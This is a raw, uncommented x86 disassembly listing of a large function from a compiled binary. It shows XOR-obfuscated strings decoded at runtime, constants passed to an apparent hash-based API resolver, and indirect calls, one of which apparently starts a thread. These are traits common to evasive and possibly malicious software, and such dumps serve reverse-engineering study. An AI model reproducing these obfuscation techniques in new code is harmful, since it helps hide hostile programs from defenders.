mov dword [edx + 0x14], 0xf
lea edi, [ecx + 1]
mov byte [edx], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46c586
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.004072f0
mov edx, 0x4b6d9c
mov ecx, 0x4bcbee
call fcn.00476b60
add esp, 0x18
lea eax, [esp + 0x2e8]
mov ecx, esp
push eax
call fcn.00406220
sub esp, 0x18
mov ecx, esi
mov edx, esp
lea edi, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46c5d4
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.004072f0
mov edx, 0x4b6d6c
mov ecx, 0x4bcbef
call fcn.00471d70
push esi
call fcn.0044c3a2
add esp, 0x34
mov eax, dword [esp + 0x2e4]
cmp eax, 0x10
jb 0x46c61b
inc eax
push eax
push dword [esp + 0x2d4]
call fcn.00409000
add esp, 8
mov edi, dword [esp + 0x470]
mov dword [esp + 0x2e0], 0
mov dword [esp + 0x2e4], 0xf
mov byte [esp + 0x2d0], 0
mov eax, dword [esp + 0x484]
cmp eax, 0x10
jb 0x46c657
inc eax
push eax
push edi
call fcn.00409000
add esp, 8
mov eax, dword [esp + 0x38]
cmp eax, 0x10
jb 0x46c671
inc eax
push eax
push dword [esp + 0xac]
call fcn.00409000
add esp, 8
mov eax, dword [esp + 0x3c]
cmp eax, 0x10
jb 0x46c688
inc eax
push eax
push dword [esp + 0x44]
call fcn.00409000
add esp, 8
mov eax, dword [esp + 0xb0]
cmp eax, 0x10
jb 0x46c6a5
inc eax
push eax
push dword [esp + 0xbc]
call fcn.00409000
add esp, 8
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x80]
inc ecx
mov edx, dword [esp + 0x3c4]
mov dword [esp + 0x50], ecx
cmp ecx, eax
jb 0x46b740
mov edi, dword [esp + 0xa4]
add edi, eax
lea ecx, [esp + 0xf0]
mov dword [esp + 0xa4], edi
call fcn.0046dae0
lea ecx, [esp + 0xc0]
call fcn.0040c750
lea eax, [esp + 0x80]
mov dword [esp + 0x80], 0xe4
push eax
lea ecx, [esp + 0xc4]
call fcn.0040c650
lea ecx, [esp + 0xc0]
cmp dword [eax], 5
jne 0x46c73e
mov esi, dword [esp + 0xc0]
mov eax, ecx
push dword [esi + 4]
push eax
call fcn.004102f0
mov dword [esi + 4], esi
mov dword [esi], esi
mov dword [esi + 8], esi
mov dword [esp + 0xc4], 0
jmp 0x46c75f
mov eax, dword [esp + 0xc4]
mov dword [esp + 0x1f8], eax
lea eax, [esp + 0x1f8]
push eax
call fcn.0040c650
mov dword [eax], 5
mov eax, dword [esp + 0xc0]
push dword [eax + 4]
lea eax, [esp + 0xc4]
push eax
mov ecx, eax
call fcn.004102f0
push 0x18
push dword [esp + 0xc4]
call fcn.00409000
add esp, 8
cmp byte [0x4bcbee], 0
je 0x46c8f5
cmp dword [0x4b6dac], 0
je 0x46c8f5
lea ecx, [esp + 0xc8]
call fcn.0040c750
lea eax, [esp + 0x1f4]
mov dword [esp + 0x1f4], 0xe4
push eax
lea ecx, [esp + 0xcc]
call fcn.0040c650
lea ecx, [esp + 0xc8]
cmp dword [eax], 5
jne 0x46c801
mov esi, dword [esp + 0xc8]
mov eax, ecx
push dword [esi + 4]
push eax
call fcn.004102f0
mov dword [esi + 4], esi
mov dword [esi], esi
mov dword [esi + 8], esi
mov dword [esp + 0xcc], 0
jmp 0x46c822
mov eax, dword [esp + 0xcc]
mov dword [esp + 0x1f0], eax
lea eax, [esp + 0x1f0]
push eax
call fcn.0040c650
mov dword [eax], 5
mov eax, dword [esp + 0xc8]
push dword [eax + 4]
lea eax, [esp + 0xcc]
push eax
mov ecx, eax
call fcn.004102f0
push 0x18
push dword [esp + 0xcc]
call fcn.00409000
mov esi, dword [0x4bcbf8]
push 0x1b
push 0x9e2eadd1
call fcn.0048fcf0
add esp, 0x10
mov ecx, 0x4b6d9c
cmp dword [0x4b6db0], 0x10
jb 0x46c872
mov ecx, dword [0x4b6d9c]
push eax
push 0
push 0
mov dword [esp + 0x37c], 0x7f3bb90e
lea eax, [esp + 0x37c]
mov dword [esp + 0x380], 0xcb06b29b
mov dword [esp + 0x384], 0x6775e8c6
mov dword [esp + 0x388], 0xfe5ca786
movaps xmm1, xmmword [esp + 0x37c]
push ecx
mov dword [esp + 0xa0], 0x115ec961
mov dword [esp + 0xa4], 0xcb06b29b
mov dword [esp + 0xa8], 0x6775e8c6
mov dword [esp + 0xac], 0xfe5ca786
pxor xmm1, xmmword [esp + 0xa0]
push eax
push 0
movaps xmmword [esp + 0x388], xmm1
call esi
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x4bcf3c]
cmp eax, dword [ecx + 4]
jg 0x46da23
mov ecx, dword [0x4bcf34]
mov eax, ecx
mov edx, dword [0x4bcf30]
sub eax, edx
sar eax, 2
cmp eax, 0x28
jae 0x46c950
mov dword [esp + 0x1fc], eax
cmp ecx, dword [0x4bcf38]
je 0x46c940
mov dword [ecx], eax
add dword [0x4bcf34], 4
jmp 0x46c956
lea eax, [esp + 0x1fc]
push eax
push ecx
call fcn.00410340
jmp 0x46c956
mov dword [0x4bcf34], edx
cmp byte [0x4bcbef], 0
je 0x46ca36
push 0x1b
push 0x9e2ead53
call fcn.0048fcf0
xor ecx, ecx
add esp, 8
cmp ecx, edx
jb 0x46ca36
ja 0x46c98a
cmp dword [0x4b6d7c], eax
jbe 0x46ca36
mov esi, dword [0x4bcbf8]
push 0x1b
push 0x9e2eadd1
call fcn.0048fcf0
add esp, 8
mov ecx, 0x4b6d6c
cmp dword [0x4b6d80], 0x10
jb 0x46c9b3
mov ecx, dword [0x4b6d6c]
push eax
push 0
push 0
mov dword [esp + 0x38c], 0x7f3bb90e
lea eax, [esp + 0x38c]
mov dword [esp + 0x390], 0xcb06b29b
mov dword [esp + 0x394], 0x6775e8c6
mov dword [esp + 0x398], 0xfe5ca786
movaps xmm1, xmmword [esp + 0x38c]
push ecx
mov dword [esp + 0xa0], 0x115ec961
mov dword [esp + 0xa4], 0xcb06b29b
mov dword [esp + 0xa8], 0x6775e8c6
mov dword [esp + 0xac], 0xfe5ca786
pxor xmm1, xmmword [esp + 0xa0]
push eax
push 0
movaps xmmword [esp + 0x398], xmm1
call esi
sub esp, 0x18
mov ecx, esp
push 0x4b6d84
call fcn.00406220
sub esp, 0x18
mov ecx, esp
push 0x4b6d54
call fcn.00406220
lea ecx, [esp + 0x154]
call fcn.00482f00
add esp, 0x30
lea ecx, [esp + 0xd0]
call fcn.0040c750
lea eax, [esp + 0xd8]
mov dword [esp + 0xd8], 0xe4
push eax
lea ecx, [esp + 0xd4]
call fcn.0040c650
lea ecx, [esp + 0xd0]
cmp dword [eax], 5
jne 0x46cac1
mov esi, dword [esp + 0xd0]
mov eax, ecx
push dword [esi + 4]
push eax
call fcn.004102f0
mov dword [esi + 4], esi
mov dword [esi], esi
mov dword [esi + 8], esi
mov dword [esp + 0xd4], 0
jmp 0x46cae2
mov eax, dword [esp + 0xd4]
mov dword [esp + 0x2b8], eax
lea eax, [esp + 0x2b8]
push eax
call fcn.0040c650
mov dword [eax], 5
mov eax, dword [esp + 0xd0]
push dword [eax + 4]
lea eax, [esp + 0xd4]
push eax
mov ecx, eax
call fcn.004102f0
push 0x18
push dword [esp + 0xd4]
call fcn.00409000
mov ecx, dword [esp + 0x130]
add esp, 8
mov edx, dword [esp + 0x124]
mov eax, ecx
sub eax, edx
mov dword [esp + 0x18], 0
sar eax, 3
imul eax, eax, 0x38e38e39
test eax, eax
je 0x46d52e
xor esi, esi
mov dword [esp + 0x90], 0x115ec961
mov dword [esp + 0x94], 0xcb06b29b
mov dword [esp + 0x98], 0x6775e8c6
mov dword [esp + 0x9c], 0xfe5ca786
mov dword [esp + 0x140], 0x115ec961
mov dword [esp + 0x144], 0xcb06b29b
mov dword [esp + 0x148], 0x6775e8c6
mov dword [esp + 0x14c], 0xfe5ca786
mov dword [esp + 0x130], 0x115ec961
mov dword [esp + 0x134], 0xcb06b29b
mov dword [esp + 0x138], 0x6775e8c6
mov dword [esp + 0x13c], 0xfe5ca786
mov dword [esp + 0x38], esi
jmp 0x46cbd0
lea edi, [edx + 0x30]
mov dword [esp + 0x160], 0
add edi, esi
mov dword [esp + 0x164], 0
cmp dword [edi + 0x14], 0x10
mov ecx, dword [edi + 0x10]
mov dword [esp + 0x50], ecx
jb 0x46cbfa
mov edi, dword [edi]
cmp ecx, 0x10
jae 0x46cc3d
mov eax, dword [edi]
mov dword [esp + 0x150], eax
mov eax, dword [edi + 4]
mov dword [esp + 0x154], eax
mov eax, dword [edi + 8]
mov dword [esp + 0x158], eax
mov eax, dword [edi + 0xc]
mov dword [esp + 0x15c], eax
mov dword [esp + 0x160], ecx
mov dword [esp + 0x164], 0xf
jmp 0x46ccca
mov eax, ecx
mov dword [esp + 0x4c0], 0x7fffffff
or eax, 0xf
mov dword [esp + 0xb8], eax
mov dword [esp + 0x4bc], eax
cmp eax, 0x7fffffff
jbe 0x46cc6e
mov eax, 0x7fffffff
mov dword [esp + 0xb8], eax
inc eax
push eax
call fcn.00408fd0
add esp, 4
mov esi, eax
lea eax, [esp + 0x2c0]
mov dword [esp + 0x2c0], esi
push eax
lea eax, [esp + 0x154]
push eax
call fcn.00408fc0
mov ecx, dword [esp + 0x58]
inc ecx
push ecx
push edi
push esi
call fcn.0043c680
mov eax, dword [esp + 0x64]
add esp, 0x14
mov edx, dword [esp + 0x124]
mov esi, dword [esp + 0x38]
mov dword [esp + 0x160], eax
mov eax, dword [esp + 0xb8]
mov dword [esp + 0x164], eax
lea ecx, [esi + 0x18]
mov dword [esp + 0x1e8], 0
mov esi, dword [ecx + edx + 0x10]
add ecx, edx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x1ec], 0
mov dword [esp + 0xb0], esi
cmp dword [ecx + 0x14], 0x10
jb 0x46cd00
mov ecx, dword [ecx]
mov dword [esp + 0x50], ecx
cmp esi, 0x10
jae 0x46cd41
mov eax, dword [ecx]
mov edi, 0xf
mov dword [esp + 0x1c], eax
mov dword [esp + 0x1d8], eax
mov eax, dword [ecx + 4]
mov dword [esp + 0x1dc], eax
mov eax, dword [ecx + 8]
mov dword [esp + 0x1e0], eax
mov eax, dword [ecx + 0xc]
mov dword [esp + 0x1e4], eax
mov dword [esp + 0x1e8], esi
jmp 0x46cdc5
mov edi, esi
mov dword [esp + 0x554], 0x7fffffff
or edi, 0xf
mov dword [esp + 0x4b0], edi
cmp edi, 0x7fffffff
jbe 0x46cd65
mov edi, 0x7fffffff
lea eax, [edi + 1]
push eax
call fcn.00408fd0
add esp, 4
mov esi, eax
lea eax, [esp + 0x2c4]
mov dword [esp + 0x2c4], esi
push eax
lea eax, [esp + 0x1dc]
push eax
call fcn.00408fc0
mov ecx, dword [esp + 0xb8]
inc ecx
push ecx
push dword [esp + 0x5c]
push esi
call fcn.0043c680
mov eax, dword [esp + 0xc4]
add esp, 0x14
mov edx, dword [esp + 0x124]
mov dword [esp + 0x1e8], eax
mov eax, dword [esp + 0x1d8]
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x38]
add ecx, edx
mov dword [esp + 0x1ec], edi
mov dword [esp + 0x50], ecx
mov dword [esp + 0x178], 0
mov dword [esp + 0x17c], 0
cmp dword [ecx + 0x14], 0x10
mov edx, dword [ecx + 0x10]
mov dword [esp + 0x40], edx
jb 0x46cdff
mov ecx, dword [ecx]
mov dword [esp + 0x50], ecx
cmp edx, 0x10
jae 0x46ce44
mov eax, dword [ecx]
mov esi, 0xf
mov dword [esp + 0x14], eax
mov dword [esp + 0x168], eax
mov eax, dword [ecx + 4]
mov dword [esp + 0x16c], eax
mov eax, dword [ecx + 8]
mov dword [esp + 0x170], eax
mov eax, dword [ecx + 0xc]
mov dword [esp + 0x174], eax
mov dword [esp + 0x178], edx
mov dword [esp + 0x3c], esi
jmp 0x46cec4
mov eax, edx
mov dword [esp + 0x4ac], 0x7fffffff
or eax, 0xf
mov dword [esp + 0x3c], eax
mov dword [esp + 0x4a8], eax
cmp eax, 0x7fffffff
jbe 0x46ce6f
mov eax, 0x7fffffff
mov dword [esp + 0x3c], eax
inc eax
push eax
call fcn.00408fd0
add esp, 4
mov esi, eax
lea eax, [esp + 0x2c8]
mov dword [esp + 0x2c8], esi
push eax
lea eax, [esp + 0x16c]
push eax
call fcn.00408fc0
mov ecx, dword [esp + 0x48]
inc ecx
push ecx
push dword [esp + 0x5c]
push esi
call fcn.0043c680
mov eax, dword [esp + 0x54]
add esp, 0x14
mov esi, dword [esp + 0x3c]
mov dword [esp + 0x178], eax
mov eax, dword [esp + 0x168]
mov dword [esp + 0x14], eax
push 0xc00
mov dword [esp + 0x180], esi
call fcn.00418d68
add esp, 4
mov dword [esp + 0xa8], eax
push 0xc00
push 0
push eax
call fcn.0043c520
add esp, 0xc
lea eax, [esp + 0x1d8]
cmp edi, 0x10
jb 0x46ceff
mov eax, dword [esp + 0x1c]
push dword [esp + 0xb0]
push eax
push dword [esp + 0xb0]
call fcn.0043c680
add esp, 0xc
lea eax, [esp + 0x168]
cmp esi, 0x10
jb 0x46cf26
mov eax, dword [esp + 0x14]
push dword [esp + 0x40]
push eax
mov eax, dword [esp + 0xb0]
add eax, 0x800
push eax
call fcn.0043c680
mov dword [esp + 0x3ac], 0x7426ac4f
lea ecx, [esp + 0x30c]
mov dword [esp + 0x3b0], 0xcb06b29b
add esp, 0xc
mov dword [esp + 0x3a8], 0x6775e8c6
mov edx, 0x18
mov dword [esp + 0x3ac], 0xfe5ca786
movaps xmm0, xmmword [esp + 0x3a0]
pxor xmm0, xmmword [esp + 0x90]
movaps xmmword [esp + 0x3a0], xmm0
call fcn.0048b690
mov esi, eax
mov dword [esp + 0x390], 0x115ec93d
lea eax, [esp + 0x390]
mov dword [esp + 0x394], 0xcb06b29b
push eax
mov dword [esp + 0x39c], 0x6775e8c6
lea eax, [esp + 0x2ec]
mov dword [esp + 0x3a0], 0xfe5ca786
movaps xmm0, xmmword [esp + 0x394]
pxor xmm0, xmmword [esp + 0x144]
push eax
lea eax, [esp + 0x540]
movaps xmmword [esp + 0x398], xmm0
push eax
call fcn.00407b60
add esp, 0xc
push esi
push eax
lea eax, [esp + 0x528]
push eax
call fcn.00407cb0
add esp, 0xc
lea ecx, [esp + 0x3a0]
push ecx
push eax
lea eax, [esp + 0x490]
push eax
call fcn.00407bd0
mov eax, dword [esp + 0x540]
add esp, 0xc
cmp eax, 0x10
jb 0x46d045
inc eax
push eax
push dword [esp + 0x524]
call fcn.00409000
add esp, 8
mov eax, dword [esp + 0x54c]
mov dword [esp + 0x530], 0
mov dword [esp + 0x534], 0xf
mov byte [esp + 0x520], 0
cmp eax, 0x10
jb 0x46d080
inc eax
push eax
push dword [esp + 0x53c]
call fcn.00409000
add esp, 8
mov eax, dword [esp + 0x314]
mov dword [esp + 0x548], 0
mov dword [esp + 0x54c], 0xf
mov byte [esp + 0x538], 0
cmp eax, 0x10
jb 0x46d0bb
inc eax
push eax
push dword [esp + 0x304]
call fcn.00409000
add esp, 8
cmp dword [esp + 0x49c], 0x10
lea eax, [esp + 0x488]
mov dword [esp + 0x310], 0
mov dword [esp + 0x314], 0xf
mov byte [esp + 0x300], 0
jb 0x46d0f1
mov eax, dword [esp + 0x488]
push dword [esp + 0x498]
mov esi, dword [esp + 0xac]
push eax
lea eax, [esi + 0x400]
push eax
call fcn.0043c680
mov eax, dword [0x4bcbf4]
add esp, 0xc
inc dword [0x4bcc14]
push 0
push 0
push esi
push 0x46fdd0
push 0
push 0
call eax
test eax, eax
je 0x46d135
push eax
call dword [0x4bcc1c]
push 0
lea ecx, [esp + 0x114]
mov byte [esp + 0x10c], 0
call fcn.0040de80
xor eax, eax
mov byte [esp + 0x260], 0
lea edx, [esp + 0x150]
mov dword [esp + 0x268], eax
lea ecx, [esp + 0x260]
mov dword [esp + 0x26c], eax
call fcn.00417880
mov al, byte [esp + 0x108]
mov dword [esp + 0x250], 0x115ead08
mov dword [esp + 0x254], 0xcb06b29b
mov dword [esp + 0x258], 0x6775e8c6
mov dword [esp + 0x25c], 0xfe5ca786
movaps xmm0, xmmword [esp + 0x250]
pxor xmm0, xmmword [esp + 0x130]
movaps xmmword [esp + 0x250], xmm0
test al, al
jne 0x46d201
push 1
lea ecx, [esp + 0x42c]
mov byte [esp + 0x10c], 1
call fcn.0040de80
mov eax, dword [esp + 0x42c]
mov esi, dword [esp + 0x428]
mov dword [esp + 0x114], eax
mov al, byte [esp + 0x108]
mov dword [esp + 0x110], esi
jmp 0x46d208
mov esi, dword [esp + 0x110]
cmp al, 1
jne 0x46da7a
lea edx, [esp + 0x250]
mov dword [esp + 0x3e0], 0
mov dword [esp + 0x3e4], 0xf
lea ecx, [edx + 1]
mov byte [esp + 0x3d0], 0
mov al, byte [edx]
inc edx
test al, al
jne 0x46d238
sub edx, ecx
lea eax, [esp + 0x250]
push edx
push eax
lea ecx, [esp + 0x3d8]
call fcn.004072f0
lea eax, [esp + 0x3d0]
mov ecx, esi
push eax
call fcn.004112e0
mov ecx, dword [esp + 0x3e4]
mov esi, eax
cmp ecx, 0x10
jb 0x46d284
inc ecx
push ecx
push dword [esp + 0x3d4]
call fcn.00409000
add esp, 8
lea edx, [esp + 0x260]
mov dword [esp + 0x3e0], 0
mov ecx, esi
mov dword [esp + 0x3e4], 0xf
mov byte [esp + 0x3d0], 0
call fcn.00409040
lea ecx, [esi + 8]
lea edx, [esp + 0x268]
call fcn.0040fc20
push dword [esp + 0x260]
mov ecx, edx
call fcn.0040da90
mov al, byte [esp + 0xf0]
mov dword [esp + 0x270], 0x7a30a00d
mov dword [esp + 0x274], 0xcb06b2e8
mov dword [esp + 0x278], 0x6775e8c6
mov dword [esp + 0x27c], 0xfe5ca786
movaps xmm1, xmmword [esp + 0x270]
mov dword [esp + 0x20], 0x115ec961
mov dword [esp + 0x24], 0xcb06b29b
mov dword [esp + 0x28], 0x6775e8c6
mov dword [esp + 0x2c], 0xfe5ca786
pxor xmm1, xmmword [esp + 0x20]
movaps xmmword [esp + 0x270], xmm1
test al, al
jne 0x46d375
push 1
lea ecx, [esp + 0x424]
mov byte [esp + 0xf4], 1
call fcn.0040de80
mov eax, dword [esp + 0x424]
mov esi, dword [esp + 0x420]
mov dword [esp + 0xfc], eax
mov al, byte [esp + 0xf0]
mov dword [esp + 0xf8], esi
jmp 0x46d37c
mov esi, dword [esp + 0xf8]
cmp al, 1
jne 0x46da7a
lea edx, [esp + 0x270]
mov dword [esp + 0x3f8], 0
mov dword [esp + 0x3fc], 0xf
lea ecx, [edx + 1]
mov byte [esp + 0x3e8], 0
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x46d3b0
sub edx, ecx
lea eax, [esp + 0x270]
push edx
push eax
lea ecx, [esp + 0x3f0]
call fcn.004072f0
lea eax, [esp + 0x3e8]
mov ecx, esi
push eax
call fcn.004112e0
mov ecx, dword [esp + 0x3fc]
mov esi, eax
cmp ecx, 0x10
jb 0x46d3fc
inc ecx
push ecx
push dword [esp + 0x3ec]
call fcn.00409000
add esp, 8
mov dword [esp + 0x3f8], 0
mov dword [esp + 0x3fc], 0xf
mov byte [esp + 0x3e8], 0
mov al, byte [esi]
test al, al
je 0x46d42a
cmp al, 2
jne 0x46da7a
jmp 0x46d44f
push 2
lea ecx, [esp + 0x434]
mov byte [esi], 2
call fcn.0040de80
mov eax, dword [esp + 0x430]
mov dword [esi + 8], eax
mov eax, dword [esp + 0x434]
mov dword [esi + 0xc], eax
mov esi, dword [esi + 8]
lea ecx, [esp + 0x108]
push ecx
mov eax, dword [esi + 4]
cmp eax, dword [esi + 8]
je 0x46d46f
mov ecx, eax
call fcn.0040c170
add dword [esi + 4], 0x10
jmp 0x46d477
push eax
mov ecx, esi
call fcn.00410770
push dword [esp + 0x108]
lea ecx, [esp + 0x114]
call fcn.0040da90
mov eax, dword [esp + 0x49c]
cmp eax, 0x10
jb 0x46d4a7
inc eax
push eax
push dword [esp + 0x48c]
call fcn.00409000
add esp, 8
mov eax, dword [esp + 0x3c]
cmp eax, 0x10
jb 0x46d4be
inc eax
push eax
push dword [esp + 0x18]
call fcn.00409000
add esp, 8
cmp edi, 0x10
jb 0x46d4d3
lea eax, [edi + 1]
push eax
push dword [esp + 0x20]
call fcn.00409000
add esp, 8
mov eax, dword [esp + 0x164]
cmp eax, 0x10
jb 0x46d4f0
inc eax
push eax
push dword [esp + 0x154]
call fcn.00409000
add esp, 8
mov ecx, dword [esp + 0x128]
mov eax, ecx
mov edx, dword [esp + 0x124]
sub eax, edx
mov edi, dword [esp + 0x18]
mov esi, dword [esp + 0x38]
inc edi
sar eax, 3
add esi, 0x48
imul eax, eax, 0x38e38e39
mov dword [esp + 0x18], edi
mov dword [esp + 0x38], esi
cmp edi, eax
jb 0x46cbd0
mov edi, dword [esp + 0xa4]
sub ecx, edx
sar ecx, 3
imul eax, ecx, 0x38e38e39
add edi, eax
mov eax, dword [0x4bcc14]
mov dword [esp + 0xa4], edi
cmp eax, dword [0x4bcc50]
jle 0x46d655
mov dword [esp + 0x30], 0x9202
mov dword [esp + 0x34], 0
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
xor eax, 0x17
mov edi, dword [0x4bcc40]
xor ecx, 0
mov dword [esp + 0xb8], eax
mov dword [esp + 0xbc], ecx
mov dword [esp + 0x70], 0x17
mov dword [esp + 0x74], 0
mov dword [esp + 0x78], 0
mov dword [esp + 0x7c], 0
mov dword [esp + 0x50], 0x88b5
mov dword [esp + 0x54], 0
mov edx, dword [esp + 0x78]
mov esi, dword [esp + 0x7c]
mov eax, dword [esp + 0x70]
add edx, eax
mov ecx, dword [esp + 0x74]
adc esi, ecx
add edx, 1
mov dword [esp + 0x40], edx
adc esi, 0
mov dword [esp + 0x44], esi
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x54]
mov edx, dword [esp + 0xb8]
mov esi, dword [esp + 0xbc]
sub edx, eax
mov dword [esp + 0xb0], edx
sbb esi, ecx
mov dword [esp + 0xb4], esi
mov esi, dword [esp + 0xb0]
mov edx, dword [esp + 0xb4]
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
push eax
push ecx
push edx
push esi
call fcn.00460cc0
mov dword [esp + 0xa8], eax
mov dword [esp + 0xac], edx
mov ecx, dword [esp + 0xa8]
mov eax, dword [esp + 0xac]
push ecx
call edi
mov eax, dword [0x4bcc14]
cmp eax, dword [0x4bcc50]
jg 0x46d563
mov edi, dword [esp + 0xa4]
lea ecx, [esp + 0x124]
call fcn.0040be90
lea ecx, [esp + 0x3c4]
call fcn.0040be90
mov esi, dword [0x4bcc40]
push 0x1b
push 0x9e384a43
call fcn.0048fcf0
add esp, 8
push eax
call esi
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x4bcf3c]
cmp eax, dword [ecx + 4]
jg 0x46da7f
mov ecx, dword [0x4bcf34]
mov eax, ecx
mov edx, dword [0x4bcf30]
sub eax, edx
sar eax, 2
cmp eax, 0x28
jae 0x46d6e0
mov dword [esp + 0x2cc], eax
cmp ecx, dword [0x4bcf38]
je 0x46d6d0
mov dword [ecx], eax
add dword [0x4bcf34], 4
jmp 0x46d6e6
lea eax, [esp + 0x2cc]
push eax
push ecx
call fcn.00410340
jmp 0x46d6e6
mov dword [0x4bcf34], edx
push 0
push 0x1467f1b1
call fcn.0048fc50
mov esi, eax
mov ecx, edx
mov eax, edi
add esp, 8
cdq
cmp edx, ecx
jb 0x46d971
ja 0x46d70e
cmp eax, esi
jbe 0x46d971
xor eax, eax
mov byte [esp + 0x288], 0
mov edx, 0x4b6d84
mov dword [esp + 0x290], eax
lea ecx, [esp + 0x288]
mov dword [esp + 0x294], eax
call fcn.00417880
mov dword [esp + 0x400], 0x4e2aac0f
lea eax, [esp + 0x400]
mov dword [esp + 0x404], 0xa573ddf8
lea ecx, [esp + 0xf0]
mov dword [esp + 0x408], 0x380c9ab2
mov dword [esp + 0x40c], 0x9b38c8e5
movaps xmm1, xmmword [esp + 0x400]
mov dword [esp + 0x300], 0x115ec961
mov dword [esp + 0x304], 0xcb06b29b
mov dword [esp + 0x308], 0x6775e8c6
mov dword [esp + 0x30c], 0xfe5ca786
pxor xmm1, xmmword [esp + 0x300]
mov dword [esp + 0x410], 0xdd1c80e3
mov dword [esp + 0x414], 0xde93bbd
mov dword [esp + 0x418], 0x6cbbc608
mov dword [esp + 0x41c], 0xc37e98b8
movaps xmmword [esp + 0x400], xmm1
movaps xmm1, xmmword [esp + 0x410]
mov dword [esp + 0x310], 0xdd1c80e3
mov dword [esp + 0x314], 0xde93bbd
mov dword [esp + 0x318], 0x6cbbc608
mov dword [esp + 0x31c], 0xc37e98b8
pxor xmm1, xmmword [esp + 0x310]
push eax
movaps xmmword [esp + 0x414], xmm1
call fcn.0040f7b0
mov ecx, eax
lea edx, [esp + 0x288]
call fcn.00409040
add ecx, 8
lea edx, [esp + 0x290]
call fcn.0040fc20
push dword [esp + 0x288]
mov ecx, edx
call fcn.0040da90
xor eax, eax
mov byte [esp + 0x298], 0
lea ecx, [esp + 0x558]
mov dword [esp + 0x2a0], eax
mov dword [esp + 0x2a4], eax
call fcn.00488870
mov edx, eax
lea ecx, [esp + 0x298]
call fcn.004177e0
mov dword [esp + 0x180], 0x7201ba0e
lea eax, [esp + 0x180]
mov dword [esp + 0x184], 0xbf68c7f4
lea ecx, [esp + 0xf0]
mov dword [esp + 0x188], 0x42a91b4
mov dword [esp + 0x18c], 0xfe39c3e9
movaps xmm1, xmmword [esp + 0x180]
mov dword [esp + 0x90], 0x115ec961
mov dword [esp + 0x94], 0xcb06b29b
mov dword [esp + 0x98], 0x6775e8c6
mov dword [esp + 0x9c], 0xfe5ca786
pxor xmm1, xmmword [esp + 0x90]
push eax
movaps xmmword [esp + 0x184], xmm1
call fcn.0040f7b0
mov ecx, eax
lea edx, [esp + 0x298]
call fcn.00409040
add ecx, 8
lea edx, [esp + 0x2a0]
call fcn.0040fc20
push dword [esp + 0x298]
mov ecx, edx
call fcn.0040da90
mov eax, dword [esp + 0x56c]
cmp eax, 0x10
jb 0x46d957
inc eax
push eax
push dword [esp + 0x55c]
call fcn.00409000
add esp, 8
sub esp, 0x10
lea eax, [esp + 0x100]
mov ecx, esp
push eax
call fcn.0040c170
call fcn.0046f2d0
add esp, 0x10
mov eax, dword [esp + 0x2fc]
cmp eax, 0x10
jb 0x46d98e
inc eax
push eax
push dword [esp + 0x2ec]
call fcn.00409000
add esp, 8
push dword [esp + 0xf0]
lea ecx, [esp + 0xfc]
mov dword [esp + 0x2fc], 0
mov dword [esp + 0x300], 0xf
mov byte [esp + 0x2ec], 0
call fcn.0040da90
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0x4bcf3c
call fcn.00419156
add esp, 4
cmp dword [0x4bcf3c], 0xffffffff
jne 0x46c310
push 0x4934b0
mov dword [0x4bcf30], 0
mov dword [0x4bcf34], 0
mov dword [0x4bcf38], 0
call fcn.00418fd4
add esp, 4
push 0x4bcf3c
call fcn.0041910c
add esp, 4
jmp 0x46c310
call fcn.00401c20
push 0x4bcf3c
call fcn.00419156
add esp, 4
cmp dword [0x4bcf3c], 0xffffffff
jne 0x46c90e
push 0x4934b0
mov dword [0x4bcf30], 0
mov dword [0x4bcf34], 0
mov dword [0x4bcf38], 0
call fcn.00418fd4
add esp, 4
push 0x4bcf3c
call fcn.0041910c
add esp, 4
jmp 0x46c90e
call fcn.0044d55f
push 0x4bcf3c
call fcn.00419156
add esp, 4
cmp dword [0x4bcf3c], 0xffffffff
jne 0x46d69e
push 0x4934b0
mov dword [0x4bcf30], 0
mov dword [0x4bcf34], 0
mov dword [0x4bcf38], 0
call fcn.00418fd4
add esp, 4
push 0x4bcf3c
call fcn.0041910c
add esp, 4
jmp 0x46d69e